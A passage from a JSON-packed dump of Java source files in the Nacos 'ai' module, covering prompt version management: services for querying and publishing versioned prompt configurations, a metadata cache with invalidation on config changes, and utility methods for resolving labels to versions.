          throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `promptKey` not present\");\n        }\n        PromptMetaInfo meta = getPromptMeta(namespaceId, promptKey);\n        if (meta == null) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    String.format(\"prompt `%s` not found\", promptKey));\n        }\n        String targetVersion = PromptMetaUtils.resolveTargetVersion(meta, version, label);\n        String versionDataId = PromptDataIdUtils.buildVersionDataId(promptKey, targetVersion);\n        ConfigAllInfo versionConfig = configInfoPersistService.findConfigAllInfo(versionDataId, PROMPT_GROUP, namespaceId);\n        if (versionConfig == null || StringUtils.isBlank(versionConfig.getContent())) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    String.format(\"prompt `%s` version `%s` not found\", promptKey, targetVersion));\n        }\n        PromptVersionInfo result = JacksonUtils.toObj(versionConfig.getContent(), PromptVersionInfo.class);\n        result.setPromptKey(promptKey);\n        result.setVersion(targetVersion);\n        result.setMd5(versionConfig.getMd5());\n        result.setSrcUser(versionConfig.getCreateUser());\n        return result;\n    }\n    \n    private PromptLabelVersionMappingSnapshot loadLabelVersionMappingSnapshot(String namespaceId, String promptKey) {\n        ConfigInfoWrapper mappingConfig = configInfoPersistService.findConfigInfo(\n                PromptDataIdUtils.buildLabelVersionMappingDataId(promptKey), PROMPT_GROUP, namespaceId);\n        if (mappingConfig == null || StringUtils.isBlank(mappingConfig.getContent())) {\n            return PromptLabelVersionMappingSnapshot.empty();\n        }\n        PromptLabelVersionMapping mapping = PromptMetaUtils.normalizeLabelVersionMapping(\n                JacksonUtils.toObj(mappingConfig.getContent(), PromptLabelVersionMapping.class));\n        return new PromptLabelVersionMappingSnapshot(mapping, mappingConfig.getMd5());\n    }\n    \n    private PromptLabelVersionMappingSnapshot requireLabelVersionMappingSnapshot(String namespaceId, String promptKey)\n            throws NacosException {\n        PromptLabelVersionMappingSnapshot snapshot = loadLabelVersionMappingSnapshot(namespaceId, promptKey);\n        if (snapshot.getMapping() == null) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    String.format(\"prompt `%s` not found\", promptKey));\n        }\n        return snapshot;\n    }\n    \n    private PromptLabelVersionMapping getPromptLabelVersionMapping(String namespaceId, String promptKey) {\n        return loadLabelVersionMappingSnapshot(namespaceId, promptKey).getMapping();\n    }\n    \n    private DescriptorSnapshot loadDescriptorSnapshot(String namespaceId, String promptKey) {\n        ConfigInfoWrapper descriptorConfig = configInfoPersistService.findConfigInfo(\n                PromptDataIdUtils.buildDescriptorDataId(promptKey), PROMPT_GROUP, namespaceId);\n        if (descriptorConfig == null || StringUtils.isBlank(descriptorConfig.getContent())) {\n            return DescriptorSnapshot.empty();\n        }\n        PromptDescriptor descriptor = PromptMetaUtils.normalizeDescriptor(\n                JacksonUtils.toObj(descriptorConfig.getContent(), PromptDescriptor.class));\n        descriptor.setGmtModified(descriptorConfig.getLastModified());\n        return new DescriptorSnapshot(descriptor, descriptorConfig.getMd5());\n    }\n    \n    private void refreshLatestMirror(String namespaceId, String promptKey, String latestVersion, String srcUser, String srcIp)\n            throws NacosException {\n        String latestDataId = PromptDataIdUtils.buildLatestDataId(promptKey);\n        String versionDataId = PromptDataIdUtils.buildVersionDataId(promptKey, latestVersion);\n        ConfigInfoWrapper versionConfig = configInfoPersistService.findConfigInfo(versionDataId, PROMPT_GROUP, namespaceId);\n        if (versionConfig == null || StringUtils.isBlank(versionConfig.getContent())) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    String.format(\"latest version content `%s` not found\", latestVersion));\n        }\n        publishConfig(namespaceId, latestDataId, versionConfig.getContent(), srcUser, srcIp, null, true, null);\n    }\n    \n    private void publishLabelVersionMapping(String namespaceId, String promptKey, PromptLabelVersionMapping mapping, String casMd5,\n            String srcUser, String srcIp) throws NacosException {\n        String mappingDataId = PromptDataIdUtils.buildLabelVersionMappingDataId(promptKey);\n        publishConfig(namespaceId, mappingDataId, JacksonUtils.toJson(mapping), srcUser, srcIp, casMd5, true, null);\n    }\n    \n    private void publishDescriptor(String namespaceId, String promptKey, PromptDescriptor descriptor, String casMd5, String srcUser,\n            String srcIp) throws NacosException {\n        String descriptorDataId = PromptDataIdUtils.buildDescriptorDataId(promptKey);\n        publishConfig(namespaceId, descriptorDataId, JacksonUtils.toJson(descriptor), srcUser, srcIp, casMd5, true,\n                joinBizTags(descriptor.getBizTags()));\n    }\n    \n    private void publishConfig(String namespaceId, String dataId, String content, String srcUser, String srcIp, String casMd5,\n            boolean updateForExist, String configTags) throws NacosException {\n        ConfigForm form = new ConfigForm();\n        form.setDataId(dataId);\n        form.setGroup(PROMPT_GROUP);\n        form.setNamespaceId(namespaceId);\n        form.setType(PROMPT_CONFIG_TYPE);\n        form.setContent(content);\n        form.setSrcUser(srcUser);\n        if (StringUtils.isNotBlank(configTags)) {\n            form.setConfigTags(configTags);\n        }\n        ConfigRequestInfo requestInfo = new ConfigRequestInfo();\n        requestInfo.setSrcIp(srcIp);\n        requestInfo.setUpdateForExist(updateForExist);\n        if (StringUtils.isNotBlank(casMd5)) {\n            requestInfo.setCasMd5(casMd5);\n        }\n        configOperationService.publishConfig(form, requestInfo, null);\n    }\n    \n    private void validatePromptKeyAndVersion(String promptKey, String version) throws NacosApiException {\n        if (StringUtils.isBlank(promptKey) || StringUtils.isBlank(version)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `promptKey` and `version` not present\");\n        }\n    }\n    \n    private Comparator<String> buildVersionComparator() {\n        return (left, right) -> {\n            if (Objects.equals(left, right)) {\n                return 0;\n            }\n            if (!PromptVersionUtils.isValidVersion(left) || !PromptVersionUtils.isValidVersion(right)) {\n                return left.compareTo(right);\n            }\n            return PromptVersionUtils.compareVersion(left, right);\n        };\n    }\n    \n    private String joinBizTags(List<String> bizTags) {\n        if (bizTags == null || bizTags.isEmpty()) {\n            return null;\n        }\n        return bizTags.stream().filter(StringUtils::isNotBlank).map(String::trim).distinct()\n                .collect(Collectors.joining(\",\"));\n    }\n    \n    private static class DescriptorSnapshot {\n        \n        private final PromptDescriptor descriptor;\n        \n        private final String md5;\n        \n        DescriptorSnapshot(PromptDescriptor descriptor, String md5) {\n            this.descriptor = descriptor;\n            this.md5 = md5;\n        }\n        \n        public PromptDescriptor getDescriptor() {\n            return descriptor;\n        }\n        \n        public String getMd5() {\n            return md5;\n        }\n        \n        static DescriptorSnapshot empty() {\n            return new DescriptorSnapshot(null, null);\n        }\n    }\n    \n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/prompt/PromptClientOperationService.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\n\n/**\n * Prompt client operation service.\n *\n * @author nacos\n */\npublic interface PromptClientOperationService {\n    \n    /**\n     * Query prompt by label/version/latest with priority label > version > latest.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @param version     the version\n     * @param label       the label\n     * @param md5         the client md5 for conditional query\n     * @return the prompt version info\n     * @throws NacosException the nacos exception\n     */\n    PromptVersionInfo queryPrompt(String namespaceId, String promptKey, String version, String label, String md5)\n            throws NacosException;\n    \n    /**\n     * Query prompt by label/version/latest with priority label > version > latest.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @param version     the version\n     * @param label       the label\n     * @return the prompt version info\n     * @throws NacosException the nacos exception\n     */\n    default PromptVersionInfo queryPrompt(String namespaceId, String promptKey, String version, String label)\n            throws NacosException {\n        return queryPrompt(namespaceId, promptKey, version, label, null);\n    }\n    \n    /**\n     * Invalidate prompt meta cache entry.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     */\n    void invalidateMetaCache(String namespaceId, String promptKey);\n    \n    /**\n     * Get prompt meta with cache.\n     *\n     * @param namespaceId the namespace id\n     * @param promptKey   the prompt key\n     * @return the prompt meta\n     * @throws NacosException the nacos exception\n     */\n    PromptMetaInfo getPromptMeta(String namespaceId, String promptKey) throws NacosException;\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/prompt/PromptClientOperationServiceImpl.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.ai.utils.PromptDataIdUtils;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptLabelVersionMapping;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport org.springframework.stereotype.Service;\n\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport static com.alibaba.nacos.ai.constant.Constants.Prompt.PROMPT_GROUP;\n\n/**\n * Prompt client operation service implementation.\n *\n * @author nacos\n */\n@Service\npublic class PromptClientOperationServiceImpl implements PromptClientOperationService {\n    \n    private static final int DEFAULT_META_CACHE_MAX_SIZE = 10000;\n    \n    private static final long DEFAULT_META_CACHE_EXPIRE_SECONDS = 60;\n    \n    private final ConfigQueryChainService configQueryChainService;\n    \n    private final ConcurrentHashMap<String, MetaCacheEntry> metaCache = new ConcurrentHashMap<>();\n    \n    private final int metaCacheMaxSize;\n    \n    private final long metaCacheExpireMs;\n    \n    public PromptClientOperationServiceImpl(ConfigQueryChainService configQueryChainService) {\n        this.configQueryChainService = configQueryChainService;\n        this.metaCacheMaxSize = Integer.parseInt(\n                System.getProperty(\"nacos.prompt.meta.cache.maxSize\", String.valueOf(DEFAULT_META_CACHE_MAX_SIZE)));\n        this.metaCacheExpireMs = 1000L * Long.parseLong(\n                System.getProperty(\"nacos.prompt.meta.cache.expireSeconds\", String.valueOf(DEFAULT_META_CACHE_EXPIRE_SECONDS)));\n    }\n    \n    @Override\n    public PromptVersionInfo queryPrompt(String namespaceId, String promptKey, String version, String label, String md5)\n            throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `promptKey` not present\");\n        }\n        PromptLabelVersionMapping mapping = getPromptLabelVersionMapping(namespaceId, promptKey);\n        if (mapping == null) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    String.format(\"prompt `%s` not found\", promptKey));\n        }\n        String targetVersion = PromptMetaUtils.resolveTargetVersion(mapping, version, label);\n        String versionDataId = PromptDataIdUtils.buildVersionDataId(promptKey, targetVersion);\n        if (StringUtils.isNotBlank(md5)) {\n            String groupKey = GroupKey2.getKey(versionDataId, PROMPT_GROUP, namespaceId);\n            if (ConfigCacheService.isUptodate(groupKey, md5)) {\n                throw new NacosException(NacosException.NOT_MODIFIED, \"prompt data is up to date\");\n            }\n        }\n        ConfigQueryChainResponse response = queryConfig(namespaceId, versionDataId);\n        if (!isFound(response)) {\n            invalidateMetaCache(namespaceId, promptKey);\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    String.format(\"prompt `%s` version `%s` not found\", promptKey, targetVersion));\n        }\n        PromptVersionInfo versionInfo = JacksonUtils.toObj(response.getContent(), PromptVersionInfo.class);\n        versionInfo.setPromptKey(promptKey);\n        versionInfo.setMd5(response.getMd5());\n        return versionInfo;\n    }\n    \n    @Override\n    public void invalidateMetaCache(String namespaceId, String promptKey) {\n        if (StringUtils.isBlank(promptKey)) {\n            return;\n        }\n        metaCache.remove(buildMetaCacheKey(namespaceId, promptKey));\n    }\n    \n    @Override\n    public PromptMetaInfo getPromptMeta(String namespaceId, String promptKey) throws NacosException {\n        PromptLabelVersionMapping mapping = getPromptLabelVersionMapping(namespaceId, promptKey);\n        if (mapping == null) {\n            return null;\n        }\n        return PromptMetaUtils.composeMetaInfo(promptKey, mapping, null);\n    }\n    \n    private PromptLabelVersionMapping getPromptLabelVersionMapping(String namespaceId, String promptKey) {\n        if (StringUtils.isBlank(promptKey)) {\n            return null;\n        }\n        String cacheKey = buildMetaCacheKey(namespaceId, promptKey);\n        MetaCacheEntry cacheEntry = metaCache.get(cacheKey);\n        long now = System.currentTimeMillis();\n        if (cacheEntry != null && cacheEntry.expireAtMs > now) {\n            return PromptMetaUtils.cloneLabelVersionMapping(cacheEntry.snapshot.getMapping());\n        }\n        PromptLabelVersionMappingSnapshot loaded = loadLabelVersionMappingSnapshot(namespaceId, promptKey);\n        if (loaded.getMapping() != null) {\n            putMetaCache(cacheKey, loaded, now + metaCacheExpireMs);\n            return PromptMetaUtils.cloneLabelVersionMapping(loaded.getMapping());\n        }\n        return null;\n    }\n    \n    private PromptLabelVersionMappingSnapshot loadLabelVersionMappingSnapshot(String namespaceId, String promptKey) {\n        String dataId = PromptDataIdUtils.buildLabelVersionMappingDataId(promptKey);\n        ConfigQueryChainResponse response = queryConfig(namespaceId, dataId);\n        if (!isFound(response)) {\n            return PromptLabelVersionMappingSnapshot.empty();\n        }\n        PromptLabelVersionMapping mapping = PromptMetaUtils.normalizeLabelVersionMapping(\n                JacksonUtils.toObj(response.getContent(), PromptLabelVersionMapping.class));\n        return new PromptLabelVersionMappingSnapshot(mapping, response.getMd5());\n    }\n    \n    private ConfigQueryChainResponse queryConfig(String namespaceId, String dataId) {\n        ConfigQueryChainRequest request = ConfigQueryChainRequest.buildConfigQueryChainRequest(dataId, PROMPT_GROUP, namespaceId);\n        return configQueryChainService.handle(request);\n    }\n    \n    private boolean isFound(ConfigQueryChainResponse response) {\n        return response.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL\n                || response.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_GRAY;\n    }\n    \n    private String buildMetaCacheKey(String namespaceId, String promptKey) {\n        return namespaceId + \"::\" + promptKey;\n    }\n    \n    private void putMetaCache(String cacheKey, PromptLabelVersionMappingSnapshot snapshot, long expireAtMs) {\n        if (metaCache.size() >= metaCacheMaxSize) {\n            String removingKey = metaCache.keySet().stream().findFirst().orElse(null);\n            if (removingKey != null) {\n                metaCache.remove(removingKey);\n            }\n        }\n        metaCache.put(cacheKey, new MetaCacheEntry(snapshot, expireAtMs));\n    }\n    \n    private static class MetaCacheEntry {\n        \n        private final PromptLabelVersionMappingSnapshot snapshot;\n        \n        private final long expireAtMs;\n        \n        MetaCacheEntry(PromptLabelVersionMappingSnapshot snapshot, long expireAtMs) {\n            this.snapshot = snapshot;\n            this.expireAtMs = expireAtMs;\n        }\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/prompt/PromptLabelVersionMappingSnapshot.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.api.ai.model.prompt.PromptLabelVersionMapping;\n\n/**\n * Prompt label/version mapping snapshot.\n *\n * @author nacos\n */\npublic class PromptLabelVersionMappingSnapshot {\n    \n    private final PromptLabelVersionMapping mapping;\n    \n    private final String md5;\n    \n    public PromptLabelVersionMappingSnapshot(PromptLabelVersionMapping mapping, String md5) {\n        this.mapping = mapping;\n        this.md5 = md5;\n    }\n    \n    public PromptLabelVersionMapping getMapping() {\n        return mapping;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public static PromptLabelVersionMappingSnapshot empty() {\n        return new PromptLabelVersionMappingSnapshot(null, null);\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/prompt/PromptMetaCacheInvalidateService.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.utils.PromptDataIdUtils;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport org.springframework.stereotype.Service;\n\n/**\n * Prompt meta cache invalidate service.\n *\n * @author nacos\n */\n@Service\npublic class PromptMetaCacheInvalidateService extends Subscriber<LocalDataChangeEvent> {\n    \n    private final PromptClientOperationService promptOperationService;\n    \n    public PromptMetaCacheInvalidateService(PromptClientOperationService promptOperationService) {\n        this.promptOperationService = promptOperationService;\n        NotifyCenter.registerSubscriber(this);\n    }\n    \n    @Override\n    public void onEvent(LocalDataChangeEvent event) {\n        String[] keyParts = GroupKey.parseKey(event.groupKey);\n        String dataId = keyParts[0];\n        String group = keyParts[1];\n        String tenant = keyParts.length > 2 ? keyParts[2] : \"\";\n        if (!Constants.Prompt.PROMPT_GROUP.equals(group)) {\n            return;\n        }\n        if (!PromptDataIdUtils.isLabelVersionMappingDataId(dataId)) {\n            return;\n        }\n        String promptKey = PromptDataIdUtils.extractPromptKeyFromLabelVersionMappingDataId(dataId);\n        promptOperationService.invalidateMetaCache(NamespaceUtil.processNamespaceParameter(tenant), promptKey);\n    }\n    \n    @Override\n    public Class<? extends Event> subscribeType() {\n        return LocalDataChangeEvent.class;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/prompt/PromptMetaSnapshot.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\n\n/**\n * Prompt meta snapshot.\n *\n * @author nacos\n */\npublic class PromptMetaSnapshot {\n    \n    private final PromptMetaInfo meta;\n    \n    private final String md5;\n    \n    public PromptMetaSnapshot(PromptMetaInfo meta, String md5) {\n        this.meta = meta;\n        this.md5 = md5;\n    }\n    \n    public PromptMetaInfo getMeta() {\n        return meta;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public static PromptMetaSnapshot empty() {\n        return new PromptMetaSnapshot(null, null);\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/prompt/PromptMetaUtils.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.ai.utils.PromptVersionUtils;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptDescriptor;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptLabelVersionMapping;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\n\n/**\n * Prompt meta utility methods.\n *\n * @author nacos\n */\npublic final class PromptMetaUtils {\n    \n    private PromptMetaUtils() {\n    }\n    \n    /**\n     * Ensure mutable collection fields are initialized.\n     *\n     * @param meta prompt meta\n     * @return normalized prompt meta\n     */\n    public static PromptMetaInfo normalizeMeta(PromptMetaInfo meta) {\n        if (meta == null) {\n            return null;\n        }\n        if (meta.getLabels() == null) {\n            meta.setLabels(new HashMap<>(4));\n        }\n        if (meta.getVersions() == null) {\n            meta.setVersions(new ArrayList<>(4));\n        }\n        if (meta.getBizTags() == null) {\n            meta.setBizTags(new ArrayList<>(4));\n        }\n        return meta;\n    }\n    \n    /**\n     * Ensure mapping collection fields are initialized.\n     *\n     * @param mapping prompt label/version mapping\n     * @return normalized mapping\n     */\n    public static PromptLabelVersionMapping normalizeLabelVersionMapping(PromptLabelVersionMapping mapping) {\n        if (mapping == null) {\n            return null;\n        }\n        if (mapping.getLabels() == null) {\n            mapping.setLabels(new HashMap<>(4));\n        }\n        if (mapping.getVersions() == null) {\n            mapping.setVersions(new ArrayList<>(4));\n        }\n        return mapping;\n    }\n    \n    /**\n     * Ensure descriptor collection fields are initialized.\n     *\n     * @param descriptor descriptor\n     * @return normalized descriptor\n     */\n    public static PromptDescriptor normalizeDescriptor(PromptDescriptor descriptor) {\n        if (descriptor == null) {\n            return null;\n        }\n        if (descriptor.getBizTags() == null) {\n            descriptor.setBizTags(new ArrayList<>(4));\n        }\n        return descriptor;\n    }\n    \n    /**\n     * Defensive clone for prompt meta object.\n     *\n     * @param meta prompt meta\n     * @return cloned prompt meta\n     */\n    public static PromptMetaInfo cloneMeta(PromptMetaInfo meta) {\n        if (meta == null) {\n            return null;\n        }\n        PromptMetaInfo copied = new PromptMetaInfo();\n        copied.setSchemaVersion(meta.getSchemaVersion());\n        copied.setPromptKey(meta.getPromptKey());\n        copied.setDescription(meta.getDescription());\n        copied.setLatestVersion(meta.getLatestVersion());\n        copied.setGmtModified(meta.getGmtModified());\n        copied.setBizTags(meta.getBizTags() == null ? new ArrayList<>(4) : new ArrayList<>(meta.getBizTags()));\n        copied.setVersions(meta.getVersions() == null ? new ArrayList<>(4) : new ArrayList<>(meta.getVersions()));\n        copied.setLabels(meta.getLabels() == null ? new HashMap<>(4) : new HashMap<>(meta.getLabels()));\n        return copied;\n    }\n    \n    /**\n     * Defensive clone for prompt mapping object.\n     *\n     * @param mapping prompt label/version mapping\n     * @return cloned mapping\n     */\n    public static PromptLabelVersionMapping cloneLabelVersionMapping(PromptLabelVersionMapping mapping) {\n        if (mapping == null) {\n            return null;\n        }\n        PromptLabelVersionMapping copied = new PromptLabelVersionMapping();\n        copied.setSchemaVersion(mapping.getSchemaVersion());\n        copied.setPromptKey(mapping.getPromptKey());\n        copied.setLatestVersion(mapping.getLatestVersion());\n        copied.setGmtModified(mapping.getGmtModified());\n        copied.setVersions(mapping.getVersions() == null ? new ArrayList<>(4) : new ArrayList<>(mapping.getVersions()));\n        copied.setLabels(mapping.getLabels() == null ? new HashMap<>(4) : new HashMap<>(mapping.getLabels()));\n        return copied;\n    }\n    \n    /**\n     * Defensive clone for prompt descriptor object.\n     *\n     * @param descriptor descriptor\n     * @return cloned descriptor\n     */\n    public static PromptDescriptor cloneDescriptor(PromptDescriptor descriptor) {\n        if (descriptor == null) {\n            return null;\n        }\n        PromptDescriptor copied = new PromptDescriptor();\n        copied.setSchemaVersion(descriptor.getSchemaVersion());\n        copied.setPromptKey(descriptor.getPromptKey());\n        copied.setDescription(descriptor.getDescription());\n        copied.setGmtModified(descriptor.getGmtModified());\n        copied.setBizTags(descriptor.getBizTags() == null ? new ArrayList<>(4) : new ArrayList<>(descriptor.getBizTags()));\n        return copied;\n    }\n    \n    /**\n     * Build empty prompt meta for first publish flow.\n     *\n     * @param promptKey prompt key\n     * @return initialized prompt meta\n     */\n    public static PromptMetaInfo initEmptyMeta(String promptKey) {\n        PromptMetaInfo result = new PromptMetaInfo();\n        result.setPromptKey(promptKey);\n        result.setVersions(new ArrayList<>(4));\n        result.setLabels(new HashMap<>(4));\n        result.setBizTags(new ArrayList<>(4));\n        return result;\n    }\n    \n    /**\n     * Build empty prompt label/version mapping for first publish flow.\n     *\n     * @param promptKey prompt key\n     * @return initialized prompt mapping\n     */\n    public static PromptLabelVersionMapping initEmptyLabelVersionMapping(String promptKey) {\n        PromptLabelVersionMapping result = new PromptLabelVersionMapping();\n        result.setPromptKey(promptKey);\n        result.setVersions(new ArrayList<>(4));\n        result.setLabels(new HashMap<>(4));\n        return result;\n    }\n    \n    /**\n     * Build empty prompt descriptor for first publish flow.\n     *\n     * @param promptKey prompt key\n     * @return initialized prompt descriptor\n     */\n    public static PromptDescriptor initEmptyDescriptor(String promptKey) {\n        PromptDescriptor result = new PromptDescriptor();\n        result.setPromptKey(promptKey);\n        result.setBizTags(new ArrayList<>(4));\n        return result;\n    }\n    \n    /**\n     * Compose full prompt meta info from mapping and descriptor.\n     *\n     * @param promptKey prompt key\n     * @param mapping runtime mapping\n     * @param descriptor descriptor\n     * @return merged prompt meta info\n     */\n    public static PromptMetaInfo composeMetaInfo(String promptKey, PromptLabelVersionMapping mapping, PromptDescriptor descriptor) {\n        PromptMetaInfo result = new PromptMetaInfo();\n        result.setPromptKey(promptKey);\n        if (mapping != null) {\n            result.setSchemaVersion(mapping.getSchemaVersion());\n            result.setLatestVersion(mapping.getLatestVersion());\n            result.setVersions(mapping.getVersions() == null ? new ArrayList<>(4) : new ArrayList<>(mapping.getVersions()));\n            result.setLabels(mapping.getLabels() == null ? new HashMap<>(4) : new HashMap<>(mapping.getLabels()));\n            result.setGmtModified(mapping.getGmtModified());\n        } else {\n            result.setVersions(new ArrayList<>(4));\n            result.setLabels(new HashMap<>(4));\n        }\n        if (descriptor != null) {\n            result.setSchemaVersion(descriptor.getSchemaVersion());\n            result.setDescription(descriptor.getDescription());\n            result.setBizTags(descriptor.getBizTags() == null ? new ArrayList<>(4) : new ArrayList<>(descriptor.getBizTags()));\n            if (descriptor.getGmtModified() != null) {\n                result.setGmtModified(descriptor.getGmtModified());\n            }\n        } else {\n            result.setBizTags(new ArrayList<>(4));\n        }\n        return normalizeMeta(result);\n    }\n    \n    /**\n     * Resolve target version with precedence label > version > latest.\n     *\n     * @param meta prompt meta\n     * @param version requested version\n     * @param label requested label\n     * @return resolved target version\n     * @throws NacosException on invalid parameters or missing resources\n     */\n    public static String resolveTargetVersion(PromptMetaInfo meta, String version, String label) throws NacosException {\n        if (meta == null) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    \"prompt latest version not found\");\n        }\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setLatestVersion(meta.getLatestVersion());\n        mapping.setLabels(meta.getLabels());\n        mapping.setVersions(meta.getVersions());\n        return resolveTargetVersion(mapping, version, label);\n    }\n    \n    /**\n     * Resolve target version with precedence label > version > latest.\n     *\n     * @param mapping prompt label/version mapping\n     * @param version requested version\n     * @param label requested label\n     * @return resolved target version\n     * @throws NacosException on invalid parameters or missing resources\n     */\n    public static String resolveTargetVersion(PromptLabelVersionMapping mapping, String version, 